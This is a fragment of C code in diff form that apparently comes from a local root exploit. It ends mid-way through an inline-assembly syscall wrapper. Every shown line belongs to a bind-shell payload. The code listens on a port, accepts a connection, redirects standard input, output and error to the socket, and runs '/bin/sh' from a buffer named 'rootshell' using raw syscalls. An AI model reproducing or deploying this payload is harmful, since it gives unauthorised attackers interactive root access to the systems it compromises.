42 + server_addr.sin_port = 32768;
43 + server_addr.sin_family = AF_INET;
44 + do_syscall( 3, 104, server_sock, (struct sockaddr *) &server_addr,
45 16 );
46 + do_syscall( 2, 106, server_sock, 1 );
47 + client_sock = do_syscall( 3, 30, server_sock, (struct sockaddr *)
48 + &server_addr, &len );
49 + do_syscall( 2, 90, client_sock, 0 );
50 + do_syscall( 2, 90, client_sock, 1 );
51 + do_syscall( 2, 90, client_sock, 2 );
52 + * (int *) ( rootshell + 0 ) = 0x6E69622F;
53 + * (int *) ( rootshell + 4 ) = 0x0068732f;
54 + * (int *) ( rootshell + 8 ) = 0;
55 + argv[0] = rootshell;
56 + argv[1] = 0;
57 + envp[0] = 0;
58 + do_syscall( 3, 59, rootshell, argv, envp );
59 +}
60 +
61 +int do_syscall( int nb_args, int syscall_num, ... )
62 +{
63 + int ret;
64 + asm(
65 + "mov ...